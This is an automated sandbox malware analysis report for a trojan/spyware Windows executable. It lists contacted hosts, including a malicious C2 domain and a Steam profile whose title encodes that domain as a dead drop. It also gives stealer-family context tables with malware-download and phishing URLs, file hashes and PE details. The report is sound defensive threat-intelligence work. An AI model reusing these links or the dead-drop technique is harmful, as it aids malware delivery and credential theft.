https://community.akamai.steamstatic.com/public/css/skin_1/mo	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	llal.xyz	European Union		13335	CLOUDFLARENETUS	true
104.102.42.29	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1450268
Start date and time:	2024-06-01 17:40:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0x001900000002ab40-59.exe
Detection:	MAL
Classification:	mal88.troj.spyw.winEXE@1/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 21 Number of non-executed functions: 222
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Transferencia.exe	Get hash	malicious	FormBook	Browse	www.uqdr.cn/yfa0/
	yiLe926pJsBgixu.exe	Get hash	malicious	FormBook	Browse	www.henslotalt.us/cr12/?lzrh5nq=ZHVJW2wJ/VQGxUoz6qiOZ8w6Wo640eMsoc9vrD59PAK9Sx7gNniNBNq4iXknaa0Lla+k&4hO=uDKHpnQP30f0l8F
	DHL Newly Arrived Parcel.exe	Get hash	malicious	FormBook	Browse	www.fame.tm/3rcs/
	U4atTYmWzmPN3Kz.exe	Get hash	malicious	FormBook	Browse	www.faxinguxn6.cn/ofk1/?nxY=DTA0G&1vd=BhKqFmuQRptfX/n9DLbFkRq1DUWxM6hSl5iEedmrVDCnsV4u7G/8RrJF9Ts24XSLey5WO/1p/DVfbDYr/r26Elzi1DF2AKireGjxGk82VauFWzKi6FMJEms=
	Curriculum Vitae Catalina Munoz.exe	Get hash	malicious	LummaC, FormBook, LummaC Stealer	Browse	www.uqdr.cn/yfa0/?kLM=8LAHT&ORBtGb6=0WhDsKDlEsw2U2hGDN8VHtGa3OHmwnAep36jQbkxMA/yUt9OY1uk5sHeApFDjZn3CMzAWurlvftixp+c+vBUQYeEayqMenLhJs5NvVIv7PEy1DTj2A==
	Curriculum Vitae Catalina Munoz.exe	Get hash	malicious	FormBook	Browse	www.uqdr.cn/yfa0/
	QUOTATION_MAYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/pp08lG4v/download
	QUOTATION_MAYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/pp08lG4v/download
	http://update-terima-dana.sistemufdate.my.id/	Get hash	malicious	Unknown	Browse	update-terima-dana.sistemufdate.my.id/
	http://selectidordchkin.com/6whxl3wv	Get hash	malicious	Unknown	Browse	selectidordchkin.com/6whxl3wv
104.102.42.29	rM2JeKle6t.exe	Get hash	malicious	Vidar	Browse
	n8IqmAD3Mh.exe	Get hash	malicious	CryptOne, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	7t7wUILTuQ.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse
	xvJv1BpknZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	PxuZ1WpCgf.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	Pd3mM82Bs6.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	c3f3d7cea638c32610d85c9c1dfdcfe3cba3dad9e932257113f07ffcac34b280_dump.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	rM2JeKle6t.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	23.192.247.89
	n8IqmAD3Mh.exe	Get hash	malicious	CryptOne, Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	2gQsoHaGEm.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	23.1.8.105
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	7t7wUILTuQ.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	104.102.42.29
	xvJv1BpknZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	104.102.42.29
	PxuZ1WpCgf.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	104.102.42.29

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Transferencia.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	PAYMENT RECEIPT.exe	Get hash	malicious	FormBook	Browse	172.67.137.210
	https://1drv.ms/o/s!Ale5u7cgFrqDgrU1Y9FuTirE1RVPjA?e=U3XZbQ	Get hash	malicious	SharepointPhisher	Browse	172.67.182.171
	file.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Quarantined Messages.zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	CT200.cmd.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	IMG_10257576001pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	yiLe926pJsBgixu.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	RFQ-A000460874.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DHL Newly Arrived Parcel.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
AKAMAI-ASUS	RFAwChXSve.exe	Get hash	malicious	DCRat	Browse	23.201.248.158
	https://download2.easeus.com/installer_rss_new.php	Get hash	malicious	Unknown	Browse	184.28.90.27
	FW_ Matt Fisher shared the folder _Salishan DD Upload Folder_ with you.msg	Get hash	malicious	HTMLPhisher	Browse	2.19.104.72
	http://1009.liqing-71.workers.dev/	Get hash	malicious	Unknown	Browse	2.19.104.10
	https://www-visacom-sg.wgmspu93576.workers.dev/	Get hash	malicious	Unknown	Browse	2.19.104.10
	xS8bwPQjO2.elf	Get hash	malicious	Mirai	Browse	23.36.14.136
	EgucScJumS.elf	Get hash	malicious	Mirai	Browse	104.119.246.45
	DBGServer.exe	Get hash	malicious	Unknown	Browse	88.221.168.8
	https://www.jotform.com/assign/241498205962059/ZVp1QmtoY0ZuamtQcXNSRHMyajRhSk9WUjJybmZzeVFlL2hNbGNONzNOTW12WXZOTEYvUVFSelJkaU5sNjVQSVpmenBpUjRPQ29RbFZzNDYyY1I4R1I4MnhPVmtyRUJKeTFGbVdyMWpTelFvL1lHbjNkYy9GMVY1TG9hRHh3Wk0=	Get hash	malicious	HTMLPhisher	Browse	104.102.23.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	MATALJ Kft Rendel#U00e9s H634667478874873845985309802Thayne.bat	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	188.114.97.3 104.102.42.29
	SecuriteInfo.com.Win32.DropperX-gen.2332.10313.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.102.42.29
	temp2.vbs	Get hash	malicious	GuLoader	Browse	188.114.97.3 104.102.42.29
	temp2.vbs	Get hash	malicious	Remcos, GuLoader	Browse	188.114.97.3 104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	188.114.97.3 104.102.42.29
	Unspuriousness.exe	Get hash	malicious	FormBook, GuLoader	Browse	188.114.97.3 104.102.42.29
	ffff6f6.msi	Get hash	malicious	Unknown	Browse	188.114.97.3 104.102.42.29
	detalle_transferencia_2024-05-13T064143.173 0200_3049280002017526_PDF.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3 104.102.42.29
	Kompagnonernes.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3 104.102.42.29
	Factura 02297-23042024.exe	Get hash	malicious	FormBook, GuLoader	Browse	188.114.97.3 104.102.42.29

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\2ae977f4-db12-4876-9e4d-fc8d1778842d[1].txt

Download File

Process:	C:\Users\user\Desktop\0x001900000002ab40-59.exe
File Type:	ASCII text, with very long lines (48844), with no line terminators
Category:	dropped
Size (bytes):	48844
Entropy (8bit):	5.374852585488459
Encrypted:	false
SSDEEP:	768:vzsNZzFhOnDMIf19+kXSV0brSxnb22fnc6KWWhv6GYcnaxqLj3pd96B3hgFOQ9mE:v0zPO9f1ouYgcq331UaFOQCiunnT7KTp
MD5:	4FE2F731AD372C0C62F7B574433704C6
SHA1:	20DCF791FBD43C2E231D9CEBF1F2ECE001917BD5
SHA-256:	C2CF6CF3503346442004B05207DD6854F21ED207040AAC133818D6AD7C704658
SHA-512:	4A0CB373DC6594B3B01AFD24A35EB7599FD2BF8482B2464E54DA7115E163482AADD6B0B4169E3C4706CF98043363B9E96BAB0B0C019B0A522F9A3CC480A90CC7
Malicious:	false
Reputation:	low
Preview:	Qz8SERZbFQgTWzIVEhEUQj0SEyAYFRITWhsNEhFiZGlRCRYVPRITIBgVEhNEGw0SEVxkeV1SVVVrbnRvV1JeVGhldFpBb1VQbm1hSlJAE0RZQVMTGDMXEhMgGBUQRRYDFwMfChgVEhEUGRVCXSICFRBSXEtYX1YuXU1XEz4ZFxITfRQ/EhEUGUw4EyAYFRIRFlcVCBMiWmluUgwbGzgTIBgVEhEWSRUIEyJkaX5eV1hbbm9HV1pVXVFla3FbcldYVxFnQWRub1VLUEARcFhDUxEsMhUSERQZFxBHIgIVAx0+GRcSEyAYF0JfFgMXEFBoSlpfVBpcT1cRChgVEhFJFT0SEyAYTjgRFBkXEhMiVhcIERZba25QOBoZOBEUGRcSEyJIFwgRFmVrflxjWVlubXNWWFVfZWRpcVlGVlpXE0JdQVNtaGxEV0EgfFRGUBYVPRITIBgVEhNAGw0SAiwyFRIRFBkXEENuGg8SE1dRRV1eZRZQSlQWMxcSEyBFGTgRFBkXSTkgGBUSERQbWRAJIBpXbm1XARUeOSAYFRIRFBtHEAkgGmlufVtaVl5vXH9aXVZYXGtucGhKWl9UFH1SRG9cbUZXQxR9VkZSIhQ/EhEUGRcSEXQaDxIAGDMXEhMgGBUQQVobDRIRY1BHXVxRF1JKViIyFRIRFEQbOBMgGBVJOxQZFxITIBpbEAsUG1Vub2MAFx47FBkXEhMgGkUQCxQba25/b1tUXm1oflhdVGxdaW5yXEtYX1YgbVtBRVVbW1dvXG1GV0MUfVZGUiIUPxIRFBkXEhF0Gg8SABgzFxITIBgVEEFaGw0SEWNQR11cURdSSlYiMhUSERREGzgTIBgVSTsUGRcSEyAaWxALFBtVbm9jABceOxQZFxITIBpFEAsUG2tuf29bVF5taH5YXVRsXWluclxLWF9WIHtUXFBGQGtuZnNdRxJ1VU1WEB8KGBUSERQZFUYROhgEHjsUGRcSEyAaRVwTDhkVUVty

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\76561199619938930[1].htm

Download File

Process:	C:\Users\user\Desktop\0x001900000002ab40-59.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2989), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34764
Entropy (8bit):	5.382752455633575
Encrypted:	false
SSDEEP:	768:Hdpqm+0Ih3YAA9CWGO4fcDAvPzzgiJmDzJtxvrfJkPVoEAdmPzzgiJmDzJtxvJ2A:Hd8m+0Ih3YAA9CWGO4FvPzzgiJmDzJt3
MD5:	94CEEC911E1A763E1D375F9F8232F09F
SHA1:	16B337A272C2437E54C01432736755A65B61DC6F
SHA-256:	1E152B12BF7FDC7A2734F0E4D6E9A7E535D218EF1E7E0EFEC1CD5DF818046B32
SHA-512:	F2473AE8D96DA7B743942100A5FB27C3561BFB1CF3E1BB285C834C9BFA9C7B52CDD294212E537944F0B8C97433032804EFA06AE11A0EB11ECA85D21A92181720
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: 3e3 bGxhbC54eXo=4e4</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=MO4-iGQJS3Kg&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href="https

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.743554920865929
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0x001900000002ab40-59.exe
File size:	10'445'744 bytes
MD5:	889cc88bca04e05c46d9e74636baee19
SHA1:	28a273447716b7dea5526a499b801d025ac3ea6e
SHA256:	00aac20f7fa77d5b959244157aad331bcdd28e3c4240e4a7106848625824fa78
SHA512:	ceb3898654d7ead883bf69ea2deadc8e16d3c57d587c20a95657f244845a79e9de252407009f189b793d190defa880af876e0cf5700bb4c033fc4f83ee1b440c
SSDEEP:	196608:X+SSJ7PbDdh0HtQba8z1sjzkAilU4I4pq:X+5J7PbDjOQba8psjzyz
TLSH:	37B6D025FBD79301EB272638157C7D7B07217AC41AF846CB92626C881975BE24833F6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...gROf..........".................P.............@..........................P............@.............................W.......<..

File Icon


Icon Hash:	57d9d3068c4c6d17

Static PE Info

General

Entrypoint:	0x4e1250
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x664F5267 [Thu May 23 14:27:51 2024 UTC]
TLS Callbacks:	0x4b10f0, 0x4e0140, 0x4d0630, 0x4dfd90, 0x4535f0, 0x4d6890
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	14c3b6ff09b7337bfc60a8e85aa19d2b

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	20/03/2024 15:23:35 21/03/2026 15:23:35
Subject Chain	CN=YANDEX LLC, O=YANDEX LLC, STREET="Lev Tolstoy street, 16", L=Moscow, S=Moscow, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Moscow, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1027700229193, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	9906E73CDAF5570B04FDE09A4BCB74A9
Thumbprint SHA-1:	46E2F09D295573BB09DACC6B209B142C244A30D6
Thumbprint SHA-256:	6E4B1A3C72EF08F8311CF4F596DE8CCA679D06C51A87E1C5714F8DECB84BCB37
Serial:	6F126C9CC287DE458CE890F6

Entrypoint Preview

Instruction
call 00007FBDACB29CCAh
jmp 00007FBDACB29B3Dh
mov ecx, dword ptr [00540010h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FBDACB29CC6h
test esi, ecx
jne 00007FBDACB29CE8h
call 00007FBDACB29CF1h
mov ecx, eax
cmp ecx, edi
jne 00007FBDACB29CC9h
mov ecx, BB40E64Fh
jmp 00007FBDACB29CD0h
test esi, ecx
jne 00007FBDACB29CCCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00540010h], ecx
not ecx
pop edi
mov dword ptr [00540014h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0053BF6Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0053BEE0h]
xor dword ptr [ebp-04h], eax
call dword ptr [0053BED8h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0053C03Ch]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h
push 00010000h
push 00000000h
call 00007FBDACB3A7CAh
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x13ba8b	0x57	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13bae2	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x157000	0x83f490	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x9f0200	0x61b0	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x997000	0xb4dc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x138d6c	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x138cc0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x113220	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13be28	0x308	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x13a424	0x280	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1116bf	0x111800	1ede1476ef3d330e913bc3f3bad41adb	False	0.5134942370315356	data	6.7672182256347195	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x113000	0x2c8fc	0x2ca00	eb08174cca2ce5dc4ff957e8244052fa	False	0.4339548319327731	data	5.706910771292372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x140000	0x13f68	0x3c00	549b9ba7bb8ee6d2b19e29f27a3f2d2e	False	0.14459635416666666	data	3.719138123449055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x154000	0xb9	0x200	9d97d87a24a59708eda3979804b492fc	False	0.048828125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
SHARED	0x155000	0x4	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Shared	0x156000	0xed4	0x1000	620f0b67a91f7f74151bc5be745b7110	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x157000	0x83f490	0x83f600	475b272ba34b20100e9eb1b74ca114d4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x997000	0x6d600	0x6d600	d29c5b3ef78f9da59ae385c1ae6cba37	False	0.9119285714285714	data	7.972070171786351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BIN	0x159578	0x120d7d	ASCII text, with very long lines (65434)			0.1616525650024414
BIN	0x27a2f8	0x28b69	JSON data			0.7573113617692386
BIN	0x2a2e64	0x244	XML 1.0 document, ASCII text			0.41379310344827586
BIN	0x2a30a8	0x968	Microsoft Cabinet archive data, 2408 bytes, 1 file, at 0x2c +A "brand_config", number 1, 1 datablock, 0x1 compression			1.0045681063122924
RT_ICON	0x2a3a10	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m			0.6551418439716312
RT_ICON	0x2a3e78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m			0.4160412757973734
RT_ICON	0x2a4f20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m			0.2991701244813278
RT_ICON	0x2a74c8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m			0.2438001889466226
RT_ICON	0x2ab6f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m			0.1455548326038093
RT_ICON	0x2bbf18	0x4dfb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9968441616991434
RT_DIALOG	0x2c0d14	0xe6	data			0.34782608695652173
RT_DIALOG	0x2c0dfc	0x1de	data			0.3075313807531381
RT_STRING	0x2c0fdc	0x19c	data	Chinese	Taiwan	0.7038834951456311
RT_STRING	0x2c1178	0x410	data	Czech	Czech Republic	0.40384615384615385
RT_STRING	0x2c1588	0x488	data	German	Germany	0.3612068965517241
RT_STRING	0x2c1a10	0x408	data	English	United States	0.38856589147286824
RT_STRING	0x2c1e18	0x4de	data	French	France	0.3434991974317817
RT_STRING	0x2c22f8	0x434	data	Italian	Italy	0.35315985130111527
RT_STRING	0x2c272c	0x260	data	Japanese	Japan	0.5970394736842105
RT_STRING	0x2c298c	0x43a	data	Portuguese	Brazil	0.3678373382624769
RT_STRING	0x2c2dc8	0x39a	data	Russian	Russia	0.4164859002169197
RT_STRING	0x2c3164	0x3fa	data	Turkish	Turkey	0.3929273084479371
RT_STRING	0x2c3560	0x3cc	data	Ukrainian	Ukrain	0.4269547325102881
RT_STRING	0x2c392c	0x3f8	data	Kazakh	Kazakhstan	0.40255905511811024
RT_STRING	0x2c3d24	0x3fa	data	Uzbek	Italy	0.3889980353634578
RT_STRING	0x2c4120	0x19c	data	Chinese	China	0.6771844660194175
RT_STRING	0x2c42bc	0x446	data	Portuguese	Portugal	0.376599634369287
RT_STRING	0x2c4704	0x458	data			0.37050359712230213
RT_STRING	0x2c4b5c	0x126	data	Chinese	Taiwan	0.8707482993197279
RT_STRING	0x2c4c84	0x37a	data	Czech	Czech Republic	0.4348314606741573
RT_STRING	0x2c5000	0x3b8	data	German	Germany	0.4054621848739496
RT_STRING	0x2c53b8	0x2b8	data	English	United States	0.4482758620689655
RT_STRING	0x2c5670	0x3b0	data	French	France	0.413135593220339
RT_STRING	0x2c5a20	0x3b4	data	Italian	Italy	0.39556962025316456
RT_STRING	0x2c5dd4	0x1c6	data	Japanese	Japan	0.7268722466960352
RT_STRING	0x2c5f9c	0x36a	data	Portuguese	Brazil	0.4096109839816934
RT_STRING	0x2c6308	0x384	data	Russian	Russia	0.44555555555555554
RT_STRING	0x2c668c	0x398	data	Turkish	Turkey	0.4380434782608696
RT_STRING	0x2c6a24	0x394	data	Ukrainian	Ukrain	0.44868995633187775
RT_STRING	0x2c6db8	0x388	data	Kazakh	Kazakhstan	0.4446902654867257
RT_STRING	0x2c7140	0x3ec	data	Uzbek	Italy	0.3934262948207171
RT_STRING	0x2c752c	0x12c	data	Chinese	China	0.84
RT_STRING	0x2c7658	0x380	data	Portuguese	Portugal	0.41629464285714285
RT_STRING	0x2c79d8	0x376	data			0.41196388261851014
RT_STRING	0x2c7d50	0x2bc	data	Chinese	Taiwan	0.6614285714285715
RT_STRING	0x2c800c	0x7c2	AmigaOS bitmap font "h", fc_YSize 29440, 17152 elements, 2nd "c", 3rd "e"	Czech	Czech Republic	0.3252769385699899
RT_STRING	0x2c87d0	0x94e	data	German	Germany	0.2959697732997481
RT_STRING	0x2c9120	0x73e	data	English	United States	0.307982740021575
RT_STRING	0x2c9860	0x996	data	French	France	0.267318663406683
RT_STRING	0x2ca1f8	0x87c	data	Italian	Italy	0.2960405156537753
RT_STRING	0x2caa74	0x4f8	data	Japanese	Japan	0.4693396226415094
RT_STRING	0x2caf6c	0x862	data	Portuguese	Brazil	0.2996272134203169
RT_STRING	0x2cb7d0	0x7b4	data	Russian	Russia	0.32454361054766734
RT_STRING	0x2cbf84	0x784	data	Turkish	Turkey	0.32744282744282743
RT_STRING	0x2cc708	0x79e	data	Ukrainian	Ukrain	0.3374358974358974
RT_STRING	0x2ccea8	0x7b4	data	Kazakh	Kazakhstan	0.3235294117647059
RT_STRING	0x2cd65c	0x7f6	data	Uzbek	Italy	0.30372914622178604
RT_STRING	0x2cde54	0x2bc	data	Chinese	China	0.6614285714285715
RT_STRING	0x2ce110	0x876	data	Portuguese	Portugal	0.3079409048938135
RT_STRING	0x2ce988	0x8fe	data			0.290616854908775
RT_STRING	0x2cf288	0x206	data	Chinese	Taiwan	0.7355212355212355
RT_STRING	0x2cf490	0x5ae	data	Czech	Czech Republic	0.33700137551581844
RT_STRING	0x2cfa40	0x788	data	German	Germany	0.3112033195020747
RT_STRING	0x2d01c8	0x65a	data	English	United States	0.2865928659286593
RT_STRING	0x2d0824	0x6f4	data	French	France	0.29044943820224717
RT_STRING	0x2d0f18	0x6aa	data	Italian	Italy	0.2995310668229777
RT_STRING	0x2d15c4	0x3ec	data	Japanese	Japan	0.48904382470119523
RT_STRING	0x2d19b0	0x680	data	Portuguese	Brazil	0.30709134615384615
RT_STRING	0x2d2030	0x66a	data	Russian	Russia	0.31242387332521315
RT_STRING	0x2d269c	0x668	data	Turkish	Turkey	0.3207317073170732
RT_STRING	0x2d2d04	0x666	data	Ukrainian	Ukrain	0.3144078144078144
RT_STRING	0x2d336c	0x652	data	Kazakh	Kazakhstan	0.31087762669962915
RT_STRING	0x2d39c0	0x6ec	data	Uzbek	Italy	0.28724604966139955
RT_STRING	0x2d40ac	0x206	data	Chinese	China	0.6833976833976834
RT_STRING	0x2d42b4	0x6be	data	Portuguese	Portugal	0.3238702201622248
RT_STRING	0x2d4974	0x710	data			0.31692477876106195
RT_STRING	0x2d5084	0x1ec	data	Chinese	Taiwan	0.5955284552845529
RT_STRING	0x2d5270	0x3e4	data	Czech	Czech Republic	0.3684738955823293
RT_STRING	0x2d5654	0x4a8	data	German	Germany	0.3313758389261745
RT_STRING	0x2d5afc	0x39e	data	English	United States	0.3347732181425486
RT_STRING	0x2d5e9c	0x44c	data	French	France	0.3209090909090909
RT_STRING	0x2d62e8	0x41c	data	Italian	Italy	0.3155893536121673
RT_STRING	0x2d6704	0x284	data	Japanese	Japan	0.5760869565217391
RT_STRING	0x2d6988	0x40e	data	Portuguese	Brazil	0.3246628131021195
